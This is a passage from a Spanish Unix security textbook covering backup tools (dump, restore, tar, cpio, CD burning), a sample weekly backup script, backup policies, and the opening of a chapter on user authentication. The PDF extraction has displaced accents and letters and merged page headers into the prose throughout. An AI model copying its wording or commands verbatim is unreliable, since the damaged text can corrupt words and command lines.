(podemos ver que nos muestra mucha informaci´n sobre oel progreso de nuestra copia de seguridad en cada momento): anita:~# ufsdump 0cuf /dev/rmt /dev/dsk/c0d0s7 1 HP-UX, IRIX, SunOS, Linux. . . en Solaris se llama ufsdump y en AIX backup.
  • ´7.3. ALGUNAS ORDENES PARA REALIZAR COPIAS DE SEGURIDAD 111 Opci´n o Acci´n realizada o Argumento 0–9 Nivel de la copia de seguridad NO u Actualiza /etc/dumpdates al finalizar el backup NO f Indica una cinta diferente de la usada por defecto S´ I b Tama˜o de bloque n S´ I c Indica que la cinta destino es un cartucho NO W Ignora todas las opciones excepto el nivel del backup NO Tabla 7.2: Opciones de la orden dump DUMP: Date of this level 0 dump: Thu Jun 22 10:03:28 2000 DUMP: Date of last level 0 dump: the epoch DUMP: Dumping /dev/dsk/c0d0s7 (/export/home) to /dev/rmt DUMP: mapping (Pass I) [regular files] DUMP: mapping (Pass II) [directories] DUMP: estimated 24523 blocks (118796KB) DUMP: Writing 63 Kilobyte records DUMP: dumping (Pass III) [directories] DUMP: dumping (Pass IV) [regular files] DUMP: level 0 dump on Thu Jun 22 10:05:31 CEST 2000 DUMP: 24550 blocks (118927KB) on 1 volume DUMP: DUMP IS DONE anita:~#Para realizar copias remotas, como hemos dicho antes, no tenemos m´s que anteponer el nombre adel sistema donde deseemos realizar el volcado al nombre del dispositivo donde se va a almacenar,separado de ´ste por el car´cter ‘:’; opcionalmente se puede indicar el nombre de usuario en el e asistema remoto, separ´ndolo del nombre de m´quina por ‘@’: a a anita:~# ufsdump 0cuf toni@luisa:/dev/st0 /dev/dsk/c0d0s7Si estamos utilizando rdump, hemos de tener definido un nombre de m´quina denominado a‘dumphost’ en nuestro archivo /etc/hosts, que ser´ el sistema donde se almacene la copia remo- ata. De cualquier forma (usemos dump, ufsdump o rdump), el host remoto ha de considerarnos comouna m´quina de confianza (a trav´s de /etc/hosts.equiv o .rhosts), con las consideraciones de a eseguridad que esto implica.¿C´mo restaurar los backups realizados con dump? Para esta tarea se utiliza la utilidad restore o(ufsrestore en Solaris), capaz de extraer ficheros individuales, directorios o sistemas de archivoscompletos. La sintaxis de esta orden es restore opciones argumentos archivosdonde ‘opciones’ y ‘argumentos’ tienen una forma similar a ‘dump’ (es decir, toda la lista deopciones seguida de toda la lista de argumentos de las mismas, excepto en AIX y Linux, donde lanotaci´n es la habitual), y ‘archivos’ evidentemente representa una lista de directorios y ficheros opara restaurar. En la tabla 7.3 se muestra un resumen de las opciones m´s utilizadas. Por ejemplo, aimaginemos que deseamos restaurar varios archivos de un backup guardado en el fichero ‘backup’;en primer lugar podemos consultar el contenido de la cinta con una orden como la siguiente (enLinux): luisa:~# restore -t -f backup>contenido Level 0 dump of /home on luisa:/dev/hda3 Label: none luisa:~# cat contenido|more
  • 112 CAP´ ITULO 7. COPIAS DE SEGURIDAD Opci´n o Acci´n realizada o Argumento r Restaura la cinta completa NO f Indica el dispositivo o archivo donde est´ el backup a S´ I i Modo interactivo NO x Extrae los archivos y directorios desde el directorio actual NO t Imprime los nombres de los archivos de la cinta NO Tabla 7.3: Opciones de la orden restore Dump date: Fri Jun 23 06:01:26 2000 Dumped from: the epoch 2 . 11 ./lost+found 30761 ./lost+found/#30761 30762 ./lost+found/#30762 30763 ./lost+found/#30763 30764 ./lost+found/#30764 30765 ./lost+found/#30765 30766 ./lost+found/#30766 30767 ./lost+found/#30767 4097 ./ftp 8193 ./ftp/bin 8194 ./ftp/bin/compress 8195 ./ftp/bin/cpio 8196 ./ftp/bin/gzip 8197 ./ftp/bin/ls 8198 ./ftp/bin/sh 8199 ./ftp/bin/tar 8200 ./ftp/bin/zcat 12289 ./ftp/etc 12290 ./ftp/etc/group Broken pipe luisa:~#Una vez que conocemos el contenido de la copia de seguridad – y por tanto el nombre del archivoo archivos a restaurar – podemos extraer el fichero que nos interese con una orden como luisa:~# restore -x -f backup ./ftp/bin/tar You have not read any tapes yet. Unless you know which volume your file(s) are on you should start with the last volume and work towards the first. Specify next volume #: 1 set owner/mode for ’.’? [yn] n luisa:~# ls -l ftp/bin/tar ---x--x--x 1 root root 110668 Mar 21 1999 ftp/bin/tar luisa:~#Como podemos ver, la extracci´n se ha realizado a partir del directorio de trabajo actual; si qui- osi´ramos extraer archivos en su ubicaci´n original deber´ e o ıamos hacerlo desde el directorio adecuado,o, en algunas versiones de restore, especificar dicho directorio en la l´ ınea de ´rdenes. oUna opci´n muy interesante ofrecida por restore es la posibilidad de trabajar en modo interactivo, omediante la opci´n ‘i’; en este modo, al usuario se le ofrece un prompt desde el cual puede, por o
  • ´7.3. ALGUNAS ORDENES PARA REALIZAR COPIAS DE SEGURIDAD 113ejemplo, listar el contenido de una cinta, cambiar de directorio de trabajo o extraer archivos. Elsiguiente ejemplo (tambi´n sobre Linux) ilustra esta opci´n: e o luisa:~# restore -i -f backup restore > help Available commands are: ls [arg] - list directory cd arg - change directory pwd - print current directory add [arg] - add ‘arg’ to list of files to be extracted delete [arg] - delete ‘arg’ from list of files to be extracted extract - extract requested files setmodes - set modes of requested directories quit - immediately exit program what - list dump header information verbose - toggle verbose flag (useful with ‘‘ls’’) help or ‘?’ - print this list If no ‘arg’ is supplied, the current directory is used restore > ls .: ftp/ httpd/ httpsd/ lost+found/ samba/ toni/ restore > add httpd restore > extract You have not read any tapes yet. Unless you know which volume your file(s) are on you should start with the last volume and work towards the first. Specify next volume #: 1 set owner/mode for ’.’? [yn] n restore > quit luisa:~#Como podemos ver, hemos consultado el contenido de la copia de seguridad, a˜adido el directorio nhttpd/ a la lista de ficheros a extraer (inicialmente vacia), y extra´ dicho directorio a partir del ıdoactual. Este uso de restore proporciona una gran comodidad y facilidad de uso, ya que las ´rdenes oen modo interactivo son muy sencillas.7.3.2 La orden tarLa utilidad tar (Tape Archiver) es una herramienta de f´cil manejo disponible en todas las versio- anes de Unix que permite volcar ficheros individuales o directorios completos en un unico fichero; ´inicialmente fu´ dise˜ada para crear archivos de cinta (esto es, para transferir archivos de un disco e na una cinta magn´tica y viceversa), aunque en la actualidad casi todas sus versiones pueden utili- ezarse para copiar a cualquier dipositivo o fichero, denominado ‘contenedor’. Su principal desventajaes que, bajo ciertas condiciones, si falla una porci´n del medio (por ejemplo, una cinta) se puede operder toda la copia de seguridad; adem´s, tar no es capaz de realizar por s´ mismo m´s que copias a ı ade seguridad completas, por lo que hace falta un poco de programaci´n shellscripts para realizar ocopias progresivas o diferenciales.En la tabla 7.4 se muestran las opciones de tar m´s habituales; algunas de ellas no est´n dis- a aponibles en todas las versiones de tar, por lo que es recomendable consultar la p´gina del manual ade esta orden antes de utilizarla. Si la implementaci´n de tar que existe en nuestro sistema no se oajusta a nuestras necesidades, siempre podemos utilizar la versi´n de gnu (http://www.gnu.org/), oquiz´s la m´s completa hoy en d´ En primer lugar debemos saber c´mo crear contenedores con los a a ıa. o
  • 114 CAP´ ITULO 7. COPIAS DE SEGURIDAD Opci´n o Acci´n realizada o c Crea un contenedor x Extrae archivos de un contenedor t Testea los archivos almacenados en un contenedor r A˜ade archivos al final de un contenedor n v Modo verbose f Especifica el nombre del contenedor Z Comprime o descomprime mediante compress/uncompress z Comprime o descomprime mediante gzip p Conserva los permisos de los ficheros Tabla 7.4: Opciones de la orden tararchivos deseados; por ejemplo, imaginemos que deseamos volcar todo el directorio /export/home/a la unidad de cinta /dev/rmt/0. Esto lo conseguimos con la siguiente orden: anita:~# tar cvf /dev/rmt/0 /export/home/Como podemos ver, estamos especificando juntas las diferentes opciones necesarias para hacer lacopia de seguridad de los directorios de usuario; la opci´n ‘v’ no ser´ necesaria, pero es util para o ıa ´ver un listado de lo que estamos almacenando en la cinta. En muchas situaciones tambi´n resulta eutil comprimir la informaci´n guardada (tar no comprime, s´lo empaqueta); esto lo conseguir´´ o o ıamoscon las opciones ‘cvzf’.Si en lugar de (o aparte de) un unico directorio con todos sus ficheros y subdirectorios quisi´ramos ´ eespecificar m´ltiples archivos (o directorios), podemos indic´rselos uno a uno a tar en la l´ u a ınea decomandos; as´ mismo, podemos indicar un nombre de archivo contenedor en lugar de un dispositivo. ıPor ejemplo, la siguiente orden crear´ el fichero /tmp/backup.tar, que contendr´ /etc/passwd y a a/etc/hosts*: anita:~# tar cvf /tmp/backup.tar /etc/passwd /etc/hosts* tar: Removing leading ‘/’ from absolute path names in the archive etc/passwd etc/hosts etc/hosts.allow etc/hosts.deny etc/hosts.equiv anita:~#Una vez creado el contenedor podemos testear su contenido con la opci´n ‘t’ para comprobar la ointegridad del archivo, y tambi´n para ver qu´ ficheros se encuentran en su interior: e e anita:~# tar tvf /tmp/backup.tar -rw-r--r-- root/other 965 2000-03-11 03:41 etc/passwd -rw-r--r-- root/other 704 2000-03-14 00:56 etc/hosts -rw-r--r-- root/other 449 2000-02-17 01:48 etc/hosts.allow -rw-r--r-- root/other 305 1998-04-18 07:05 etc/hosts.deny -rw-r--r-- root/other 313 1994-03-16 03:30 etc/hosts.equiv -rw-r--r-- root/other 345 1999-10-13 03:31 etc/hosts.lpd anita:~#Si lo que queremos es recuperar ficheros guardados en un contenedor utilizaremos las opciones‘xvf’ (o ‘xvzf’ si hemos utilizado compresi´n con gzip a la hora de crearlo). Podemos indicar el oarchivo o archivos que queremos extraer; si no lo hacemos, se extraer´n todos: a
  • ´7.3. ALGUNAS ORDENES PARA REALIZAR COPIAS DE SEGURIDAD 115 Opci´n o Acci´n realizada o o Copiar ‘fuera’ (out) i Copiar ‘dentro’ (in) m Conserva fecha y hora de los ficheros t Crea tabla de contenidos A A˜ade ficheros a un contenedor existente n v Modo verbose Tabla 7.5: Opciones de la orden cpio. anita:~# tar xvf /tmp/backup.tar etc/passwd etc/passwd anita:~# tar xvf /tmp/backup.tar etc/passwd etc/hosts etc/hosts.allow etc/hosts.deny etc/hosts.equiv etc/hosts.lpd anita:~#La restauraci´n se habr´ realizado desde el directorio de trabajo, creando en ´l un subdirectorio o a eetc con los ficheros correspondientes en su interior. Si queremos que los ficheros del contenedorsobreescriban a los que ya existen en el sistema hemos de desempaquetarlo en el directorio adecuado,en este caso el ra´ ız.7.3.3 La orden cpiocpio (Copy In/Out) es una utilidad que permite copiar archivos a o desde un contenedor cpio, queno es m´s que un fichero que almacena otros archivos e informaci´n sobre ellos (permisos, nombres, a opropietario. . . ). Este contenedor puede ser un disco, otro archivo, una cinta o incluso una tuber´ ıa,mientras que los ficheros a copiar pueden ser archivos normales, pero tambi´n dispositivos o siste- emas de ficheros completos.En la tabla 7.5 se muestran las opciones de cpio m´s utilizadas; la sintaxis de esta orden es abastante m´s confusa que la de tar debido a la interpretaci´n de lo que cpio entiende por ‘dentro’ a oy ‘fuera’: copiar ‘fuera’ es generar un contenedor en salida est´ndar (que con toda probabilidad adesearemos redireccionar), mientras que copiar ‘dentro’ es lo contrario, es decir, extraer archivos dela entrada est´ndar (tambi´n es seguro que deberemos redireccionarla). a ePor ejemplo, si deseamos copiar los archivos de /export/home/ en el fichero contenedor/tmp/backup.cpio podemos utilizar la siguiente sintaxis: anita:~# find /export/home/ |cpio -o > /tmp/backup.cpioComo podemos ver, cpio lee la entrada est´ndar esperando los nombres de ficheros a guardar, por alo que es conveniente utilizarlo tras una tuber´ pas´ndole esos nombres de archivo. Adem´s, hemos ıa a ade redirigir su salida al nombre que queramos asignarle al contenedor, ya que de lo contrario semostrar´ el resultado en salida est´ndar (lo que evidentemente no es muy utilizado para realizar ıa abackups). Podemos fijarnos tambi´n en que estamos usando la orden ‘find’ en lugar de un simple e‘ls’: esto es debido a que ‘ls’ mostrar´ s´lo el nombre de cada fichero (por ejemplo, ‘passwd’) ıa oen lugar de su ruta completa (‘/etc/passwd’), por lo que cpio buscar´ dichos ficheros a partir ıadel directorio actual.
  • 116 CAP´ ITULO 7. COPIAS DE SEGURIDADUna vez creado el fichero contenedor quiz´s resulte interesante chequear su contenido, con la opci´n a o‘t’. Por ejemplo, la siguiente orden mostrar´ en pantalla el contenido de /tmp/backup.cpio: a anita:~# cpio -t < /tmp/backup.cpioIgual que para almacenar ficheros en un contenedor hemos de pasarle a cpio la ruta de los mismos,para extraerlos hemos de hacer lo mismo; si no indicamos lo contrario, cpio -i extraer´ todos los aarchivos de un contenedor, pero si s´lo nos interesan algunos de ellos podemos especificar su nombre ode la siguiente forma: anita:~# echo "/export/home/toni/hola.tex" |cpio -i </tmp/backup.cpioPara conocer m´s profundamente el funcionamiento de cpio, as´ como opciones propias de cada a ıimplementaci´n, es indispensable consultar la p´gina del manual de esta orden en cada clon de o aUnix donde vayamos a utilizarla.7.3.4 Backups sobre CD-ROMComo antes hemos dicho, cada vez es m´s com´n que se realicen copias de seguridad sobre discos a ucompactos; en estos casos no se suelen utilizar las aplicaciones vistas hasta ahora (tar o cpio),sino que se necesita un software dedicado: aqu´ vamos a comentar las nociones m´s b´sicas para ı a apoder crear backups sobre este medio. Para poder grabar una copia de seguridad en un CD-ROMnecesitamos en primer lugar que el n´cleo del sistema operativo reconozca nuestra grabadora como utal; si se trata de una IDE, y dependiendo del clon de Unix utilizado, quiz´s sea necesario modificar ael kernel, ya que el acceso que los diferentes programas realizan al dispositivo se efectua a trav´s de eun interfaz SCSI del n´cleo. Es necesario consultar la documentaci´n y la lista de compatibilidad u ohardware para cada Unix particular.Si asumimos que el reconocimiento del dispositivo es correcto, lo que necesitamos a continuaci´n es osoftware capaz de grabar un CD-ROM. Por un lado es necesario un programa para crear im´genesaISO, el ‘molde’ de lo que ser´ el futuro CD-ROM; el m´s conocido es sin duda mkisofs. Adem´s a a anecesitaremos un programa para realizar lo que es la grabaci´n en s´ como cdrecord. De esta for- o ı,ma lo primero que generaremos es una imagen de los ficheros a grabar, imagen que a continuaci´n opasaremos al CD-ROM; por ejemplo, si queremos hacer un backup de /export/home/, en primerlugar utilizaremos mkisofs para crear una imagen con todos los ficheros y subdirectorios de losusuarios: anita:~# mkisofs -a -R -l -o /mnt/imagen.iso /export/home/Con esta orden hemos creado una imagen ISO denominada /mnt/imagen.iso y que contiene toda laestructura de directorios por debajo de /export/home/; con las diferentes opciones hemos indicadoque se almacenen todos los ficheros, que se sigan los enlaces simb´licos y que se registre adem´s o ainformaci´n sobre los permisos de cada archivo. Una vez que tenemos esta imagen (que en los Unices ocon soporte para sistemas de ficheros loop podremos montar como si se tratara de una partici´n, opara a˜adir, borrar, modificar. . . ficheros antes de la grabaci´n) hemos de pasarla a un CD-ROM, n opor ejemplo mediante cdrecord: anita:~# cdrecord dev=0,1,0 fs=16m /mnt/imagen.isoCon esta orden le hemos indicado al sistema la ubicaci´n de nuestra grabadora, as´ como un buffer o ıde grabaci´n de 16MB y tambi´n la ubicaci´n de la imagen ISO. o e oAlgo muy interesante es la posibilidad de grabar sin necesidad de crear primero im´genes con alos ficheros que queremos meter en un CD-ROM; esto nos ahorrar´ tiempo (y sobre todo, espacio aen disco) a la hora de realizar copias de seguridad, adem´s de permitir una mayor automatizaci´n a odel proceso. Para ello, debemos calcular con mkisofs el espacio que ocupan los ficheros a grabar(con la opci´n ‘-print-size’), y posteriormente pasarle este valor a cdrecord; podemos hacerlo ode forma autom´tica, por ejemplo tal y como muestra el siguiente programa: a
  • 7.4. POL´ ITICAS DE COPIAS DE SEGURIDAD 117 anita:~# cat ‘which graba-cd‘ #!/bin/sh # Vuelca el directorio pasado como parametro, y todos sus descendientes, # en un CD-ROM MKISOFS=/usr/local/bin/mkisofs CDRECORD=/usr/local/bin/cdrecord if (test $# -lt 1); then echo "Usage: $0 /files" exit fi size=‘$MKISOFS -r -J -l -print-size -f $1 2>&1|tail -1|awk ’{print $8}’‘ nice --20 $MKISOFS -r -J -l -f $1 | nice --20 $CDRECORD dev=0,1,0 fs=16m tsize=$size*2048 -eject - anita:~#Como vemos, se asigna el tama˜o de los datos a grabar a la variable ‘size’, y despu´s se pasa n eeste n´mero a cdrecord; de esta forma, para realizar una copia de seguridad de un directorio ucomo /export/home/toni/, no tenemos m´s que ejecutar el shellscript pas´ndole el nombre de a aeste directorio como par´metro. a7.4 Pol´ ıticas de copias de seguridadLa forma m´s elemental de realizar una copia de seguridad consiste simplemente en volcar los aarchivos a salvaguardar a un dispositivo de backup, con el procedimiento que sea; por ejemplo, sideseamos guardar todo el contenido del directorio /export/home/, podemos empaquetarlo en unarchivo, comprimirlo y a continuaci´n almacenarlo en una cinta: o anita:~# tar cf backup.tar /export/home/ anita:~# compress backup.tar anita:~# dd if=backup.tar.Z of=/dev/rmt/0Si en lugar de una cinta quisi´ramos utilizar otro disco duro, por ejemplo montado en /mnt/, epodemos simplemente copiar los ficheros deseados: anita:~# cp -rp /export/home/ /mnt/Esta forma de realizar backups volcando en el dispositivo de copia los archivos o directorios deseadosse denomina copia de seguridad completa o de nivel 0. Unix utiliza el concepto de nivel de copiade seguridad para distinguir diferentes tipos de backups: una copia de cierto nivel almacena losarchivos modificados desde el ultimo backup de nivel inferior. As´ las copias completas son, por ´ ı,definici´n, las de nivel 0; las copias de nivel 1 guardan los archivos modificados desde la ultima o ´copia de nivel 0 (es decir, desde el ultimo backup completo), mientras que las de nivel 2 guardan ´los archivos modificados desde la ultima copia de nivel 1, y as´ sucesivamente (en realidad, el nivel ´ ım´ximo utilizado en la pr´ctica es el 2). a aComo hemos dicho, las copias completas constituyen la pol´ ıtica m´s b´sica para realizar backups, y a acomo todas las pol´ ıticas tiene ventajas e inconvenientes; la principal ventaja de las copias completases su facilidad de realizaci´n y, dependiendo del mecanismo utilizado, la facilidad que ofrecen para orestaurar ficheros en algunas situaciones: si nos hemos limitado a copiar una serie de directorios aotro disco y necesitamos restaurar cierto archivo, no tenemos m´s que montar el disco de backup y acopiar el fichero solicitado a su ubicaci´n original. oSin embargo, las copias completas presentan graves inconvenientes; uno de ellos es la dificultadpara restaurar ficheros si utilizamos m´ltiples dispositivos de copia de seguridad (por ejemplo, va- urias cintas). Otro inconveniente, m´s importante, de las copias de nivel 0 es la cantidad de recursos a
  • 118 CAP´ ITULO 7. COPIAS DE SEGURIDADque consumen, tanto en tiempo como en hardware; para solucionar el problema de la cantidad derecursos utilizados aparece el concepto de copia de seguridad incremental. Un backup incrementalo progresivo consiste en copiar s´lamente los archivos que han cambiado desde la realizaci´n de o ootra copia (incremental o total). Por ejemplo, si hace una semana realizamos un backup de nivel0 en nuestro sistema y deseamos una copia incremental con respecto a ´l, hemos de guardar los eficheros modificados en los ultimos siete d´ (copia de nivel 1); podemos localizar estos ficheros con ´ ıasla orden find: anita:~# find /export/home/ -mtime 7 -printSi hace un d´ ya realizamos una copia incremental y ahora queremos hacer otra copia progresiva ıacon respecto a ella, hemos de almacenar unicamente los archivos modificados en las ultimas 24 ´ ´horas (copia de nivel 2); como antes, podemos utilizar find para localizar los archivos modificadosen este intervalo de tiempo: anita:~# find /export/home/ -mtime 1 -printEsta pol´ ıtica de realizar copias de seguridad sobre la ultima progresiva se denomina de copia de ´seguridad diferencial.La principal ventaja de las copias progresivas es que requieren menos tiempo para ser realizadasy menos capacidad de almacenamiento que las completas; sin embargo, como desventajas tenemosque la restauraci´n de ficheros puede ser m´s compleja que con las copias de nivel 0, y tambi´n o a eque un solo fallo en uno de los dispositivos de almacenamiento puede provocar la p´rdida de gran ecantidad de archivos; para restaurar completamente un sistema, debemos restaurar la copia m´s areciente de cada nivel, en orden, comenzando por la de nivel 0. De esta forma, parece l´gico que la oestrategia seguida sea un t´rmino medio entre las vistas aqu´ una pol´ e ı, ıtica de copias de seguridadque mezcle el enfoque completo y el progresivo: una estrategia muy habitual, tanto por su simplezacomo porque no requiere mucho hardware consiste en realizar peri´dicamente copias de seguridad ode nivel 0, y entre ellas realizar ciertas copias progresivas de nivel 1. Por ejemplo, imaginemos undepartamento que decide realizar cada domingo una copia de seguridad completa de sus directoriosde usuario y de /etc/, y una progresiva sobre ella, pero s´lo de los directorios de usuario, cada d´ o ıalectivo de la semana. Un shellscript que realize esta tarea puede ser el siguiente: #!/bin/sh DIA=‘date +%a‘ # Dia de la semana DIREC="/tmp/backup/" # Un directorio para hacer el backup hazback () { cd $DIREC tar cf backup.tar $FILES compress backup.tar dd if=backup.tar.Z of=/dev/rmt/0 rm -f backup.tar.Z } if [ ! -d $DIREC ]; then # No existe $DIREC mkdir -p $DIREC chmod 700 $DIREC # Por seguridad else rm -rf $DIREC mkdir -p $DIREC chmod 700 $DIREC fi;
  • 7.4. POL´ ITICAS DE COPIAS DE SEGURIDAD 119 case $DIA in "Mon") # Lunes, progresiva FILES=‘find /export/home/ -mtime 1 -print‘ hazback ;; "Tue") # Martes, progresiva FILES=‘find /export/home/ -mtime 2 -print‘ hazback ;; "Wed") # Miercoles, progresiva FILES=‘find /export/home/ -mtime 3 -print‘ hazback ;; "Thu") # Jueves, progresiva FILES=‘find /export/home/ -mtime 4 -print‘ hazback ;; "Fri") # Viernes, progresiva FILES=‘find /export/home/ -mtime 5 -print‘ hazback ;; "Sat") # Sabado, descansamos... ;; "Sun") # Domingo, copia completa de /export/home y /etc FILES="/export/home/ /etc/" hazback ;; esacEste programa determina el d´ de la semana y en funci´n de ´l realiza – o no, si es s´bado – ıa o e auna copia de los ficheros correspondientes (n´tese el uso de las comillas inversas en la orden find). oPodr´ıamos automatizarlo mediante la facilidad cron de nuestro sistema para que se ejecute, porejemplo, cada d´ a las tres del mediod´ (una hora en la que la actividad del sistema no ser´ muy ıa ıa aalta); de esta forma, como administradores, s´lo deber´ o ıamos preocuparnos por cambiar las cintascada d´ y dejar una preparada para el fin de semana. Si decidimos planificarlo para que se ejecute ıa,de madrugada, hemos de tener en cuenta que el backup de un lunes de madrugada, antes de llegaral trabajo, puede sobreescribir el completo, realizado el domingo de madrugada, por lo que habr´ ıaque modificar el shellscript; tambi´n hemos de estar atentos a situaciones inesperadas, como que no eexistan archivos a copiar o que nuestro sistema no disponga del suficiente disco duro para almacenartemporalmente la copia.El medio de almacenamiento tambi´n es importante a la hora de dise˜ar una pol´ e n ıtica de copiasde seguridad correcta. Si se trata de dispositivos baratos, como los CD-ROMs, no suele habermuchos problemas: para cada volcado (sea del tipo que sea) se utiliza una unidad diferente, uni-dad que adem´s no se suele volver a utilizar a no ser que se necesite recuperar los datos; el uso ade unidades regrabables en este caso es minoritario y poco recomendable, por lo que no vamos aentrar en ´l. No obstante, algo muy diferente son los medios de almacenamiento m´s caros, gene- e aralmente las cintas magn´ticas; al ser ahora el precio algo a tener m´s en cuenta, lo habitual es e a
  • 120 CAP´ ITULO 7. COPIAS DE SEGURIDADreutilizar unidades, sobreescribir las copias de seguridad m´s antiguas con otras m´s actualizadas. a aEsto puede llegar a convertirse en un grave problema si por cualquier motivo reutilizamos cintasde las que necesitamos recuperar informaci´n; aparte del desgaste f´ o ısico del medio, podemos llegara extremos en los que se pierda toda la informaci´n guardada: imaginemos, por ejemplo, que s´lo o outilizamos una cinta de 8mm. para crear backups del sistema: aunque habitualmente todo funcionecorrectamente (se cumple de forma estricta la pol´ ıtica de copias, se verifican, se almacenan en unlugar seguro. . . ), puede darse el caso de que durante el proceso de copia se produzca un incendio enla sala de operaciones, incendio que destruir´ tanto nuestro sistema como la cinta donde guardamos asu backup, con lo que habremos perdido toda nuestra informaci´n. Aunque este es un ejemplo oquiz´s algo extremo, podemos pensar en lugares donde se utilicen de forma incorrecta varios juegos ade copias o en situaciones en las que el sistema se corrompe (no ha de tratarse necesariamente dealgo tan poco frecuente como un incendio, sino que se puede tratar de un simple corte de fluidoel´ctrico que da˜e los discos); debemos asegurarnos siempre de que podremos recuperar con una e nprobabilidad alta la ultima copia de seguridad realizada sobre cada archivo importante de nuestro ´sistema, especialmente sobre las bases de datos.
  • Cap´ ıtulo 8Autenticaci´n de usuarios o8.1 Introducci´n y conceptos b´sicos o aYa sabemos que unos requerimientos primordiales de los sistemas inform´ticos que desempe˜an a ntareas importantes son los mecanismo de seguridad adecuados a la informaci´n que se intenta pro- oteger; el conjunto de tales mecanismos ha de incluir al menos un sistema que permita identificara las entidades (elementos activos del sistema, generalmente usuarios) que intentan acceder a losobjetos (elementos pasivos, como ficheros o capacidad de c´mputo), mediante procesos tan simples ocomo una contrase˜a o tan complejos como un dispositivo analizador de patrones retinales. nLos sistemas que habitualmente utilizamos los humanos para identificar a una persona, como elaspecto f´ısico o la forma de hablar, son demasiado complejos para una computadora; el objetivo delos sistemas de identificaci´n de usuarios no suele ser identificar a una persona, sino autenticar oque esa persona es quien dice ser realmente. Aunque como humanos seguramente ambos t´rminos enos parecer´n equivalentes, para un ordenador existe una gran diferencia entre ellos: imaginemos aun potencial sistema de identificaci´n estrictamente hablando, por ejemplo uno biom´trico basado o een el reconocimiento de la retina; una persona mirar´ a trav´s del dispositivo lector, y el sistema ıa eser´ capaz de decidir si es un usuario v´lido, y en ese caso decir de qui´n se trata; esto es identifica- ıa a eci´n. Sin embargo, lo que habitualmente hace el usuario es introducir su identidad (un n´mero, un o unombre de usuario. . . ) adem´s de mostrar sus retinas ante el lector; el sistema en este caso no tiene aque identificar a esa persona, sino autenticarlo: comprobar los par´metros de la retina que est´ a aleyendo con los guardados en una base de datos para el usuario que la persona dice ser: estamosreduciendo el problema de una poblaci´n potencialmente muy elevada a un grupo de usuarios m´s o areducido, el grupo de usuarios del sistema que necesita autenticarlos.Los m´todos de autenticaci´n se suelen dividir en tres grandes categor´ ([DP84], [Eve92]), en e o ıasfunci´n de lo que utilizan para la verificaci´n de identidad: (a) algo que el usuario sabe, (b) algo o oque ´ste posee, y (c) una caracter´ e ıstica f´ ısica del usuario o un acto involuntario del mismo. Estaultima categor´ se conoce con el nombre de autenticaci´n biom´trica. Es f´cil ver ejemplos´ ıa o e ade cada uno de estos tipos de autenticaci´n: un password (Unix) o passphrase (pgp) es algo que oel usuario conoce y el resto de personas no, una tarjeta de identidad es algo que el usuario llevaconsigo, la huella dactilar es una caracter´ ıstica f´ ısica del usuario, y un acto involuntario podr´ ıaconsiderarse que se produce al firmar (al rubricar la firma no se piensa en el dise˜o de cada trazo nindividualmente). Por supuesto, un sistema de autenticaci´n puede (y debe, para incrementar su ofiabilidad) combinar mecanismos de diferente tipo, como en el caso de una tarjeta de cr´dito junto eal PIN a la hora de utilizar un cajero autom´tico o en el de un dispositivo generador de claves para ael uso de One Time Passwords.Cualquier sistema de identificaci´n (aunque les llamemos as´ recordemos que realmente son siste- o ı,mas de autenticaci´n) ha de poseer unas determinadas caracter´ o ısticas para ser viable; obviamente, 121
  • 122 CAP´ ´ ITULO 8. AUTENTICACION DE USUARIOSha de ser fiable con una probabilidad muy elevada (podemos hablar de tasas de fallo de 10−4 en lossistemas menos seguros), econ´micamente factible para la organizaci´n (si su precio es superior al o ovalor de lo que se intenta proteger, tenemos un sistema incorrecto) y ha de soportar con ´xito cierto etipo de ataques (por ejemplo, imaginemos que cualquier usuario puede descifrar el password utili-zado en el sistema de autenticaci´n de Unix en tiempo polinomial; esto ser´ inaceptable). Aparte o ıade estas caracter´ısticas tenemos otra, no t´cnica sino humana, pero quiz´s la m´s importante: un e a asistema de autenticaci´n ha de ser aceptable para los usuarios ([Tan91]), que ser´n al fin y al cabo o aquienes lo utilicen. Por ejemplo, imaginemos un potencial sistema de identificaci´n para acceder a olos recursos de la Universidad, consistente en un dispositivo que fuera capaz de realizar un an´lisis ade sangre a un usuario y as´ comprobar que es quien dice ser; seguramente ser´ barato y altamente ı ıafiable, pero nadie aceptar´ dar un poco de sangre cada vez que desee consultar su correo. ıa8.2 Sistemas basados en algo conocido: contrase˜ as nEl modelo de autenticaci´n m´s b´sico consiste en decidir si un usuario es quien dice ser simplemen- o a ate bas´ndonos en una prueba de conocimiento que a priori s´lo ese usuario puede superar; y desde a o a ´Al´ Bab´ y su ‘Abrete, S´samo’ hasta los m´s modernos sistemas Unix, esa prueba de conocimiento ı e ano es m´s que una contrase˜a que en principio es secreta. Evidentemente, esta aproximaci´n es a n ola m´s vulnerable a todo tipo de ataques, pero tambi´n la m´s barata, por lo que se convierte a e aen la t´cnica m´s utilizada en entornos que no precisan de una alta seguridad, como es el caso e ade los sistemas Unix en redes normales (y en general en todos los sistemas operativos en redes deseguridad media–baja); otros entornos en los que se suele aplicar este modelo de autenticaci´n son olas aplicaciones que requieren de alguna identificaci´n de usuarios, como el software de cifrado pgp oo el esc´ner de seguridad nessus. Tambi´n se utiliza como complemento a otros mecanismos de a eautenticaci´n, por ejemplo en el caso del N´mero de Identificaci´n Personal (PIN) a la hora de o u outilizar cajeros autom´ticos. aEn todos los esquemas de autenticaci´n basados en contrase˜as se cumple el mismo protocolo: o nlas entidades (generalmente dos) que participan en la autenticaci´n acuerdan una clave, clave que ohan de mantener en secreto si desean que la autenticaci´n sea fiable. Cuando una de las partes odesea autenticarse ante otra se limita a mostrarle su conocimiento de esa clave com´n, y si ´sta es u ecorrecta se otorga el acceso a un recurso. Lo habitual es que existan unos roles preestablecidos, conuna entidad activa que desea autenticarse y otra pasiva que admite o rechaza a la anterior (en elmodelo del acceso a sistemas Unix, tenemos al usuario y al sistema que le permite o niega la entrada).Como hemos dicho, este esquema es muy fr´gil: basta con que una de las partes no mantenga ala contrase˜a en secreto para que toda la seguridad del modelo se pierda; por ejemplo, si el usuario nde una m´quina Unix comparte su clave con un tercero, o si ese tercero consigue leerla y rompe su acifrado (por ejemplo, como veremos luego, mediante un ataque de diccionario), autom´ticamente aesa persona puede autenticarse ante el sistema con ´xito con la identidad de un usuario que no le ecorresponde.En el punto 8.5 hablaremos con m´s detalle del uso de contrase˜as para el caso de la autenti- a ncaci´n de usuarios en Unix. o8.3 Sistemas basados en algo pose´ ıdo: tarjetas inteligentesHace m´s de veinte a˜os un periodista franc´s llamado Roland Moreno patentaba la integraci´n de a n e oun procesador en una tarjeta de pl´stico; sin duda, no pod´ imaginar el abanico de aplicaciones a ıade seguridad que ese nuevo 